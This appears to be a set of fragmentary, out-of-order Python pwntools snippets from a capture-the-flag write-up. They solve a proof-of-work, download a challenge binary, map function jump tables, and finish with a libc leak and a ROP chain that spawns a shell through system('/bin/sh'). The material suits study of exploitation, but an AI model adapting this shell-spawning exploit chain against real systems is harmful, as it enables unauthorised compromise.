i0 = dis(p1 + addr) disp = i0.operands[1].mem.disp tbl = disp + p1 + addr + i0.size#table地址 rels = [u32(elf.read(tbl + i * 4, 4)) for i in range(10)]#读取table并储存 dests = [] for rel in rels: tmp = (tbl + rel) & 0xffffffff#获得对应jmp到的地址 i1 = dis(tmp + 5) call = i1.operands[0].imm#获取call目标函数的地址 didx = fndict[call]#获取函数地址对应的函数idx dests.append(didx)#构造出全部路线 fnmap.append(dests[:])#构造总的路线图
cur = 0 path = [] while cur != 100: t = fnmap[cur] path.append(t.index(cur + 1))#开始寻路 cur += 1 path = ''.join(map(str, path))#将列表转为字符串 info('path: {}'.format(path))
from pwn import * from itertools import * from string import printable import hashlib token = **** p = remote("39.96.72.181","42732") p.recvuntil("x[:20] = ") dest = p.recvline()[:-1]
for i in product(printable, repeat=4): s = ''.join(i) x = hashlib.sha256(s).hexdigest() x2 = x[:20] if dest == x2: print('string : ' + s) p.sendline(s) break
p.recvuntil("Please input your token:") p.sendline(token) p.recvuntil("Creating pwn file, please wait ...\n") p.recvline() p.recvline() p.recvline() s = p.recvline()
import base64 a = base64.b64decode(s) f = open("pwn",'wb+') f.write(a) f.close() p.interactive()
p.recvuntil("WOW,U R GREAT !\n") libc.address = u64(p.recv(6)+'\x00\x00')-libc.sym['write'] gdb.attach(p) p.sendline(p64(0)+p64(pop_rdi)+p64(libc.search("/bin/sh").next())+p64(libc.sym['system'])) p.interactive()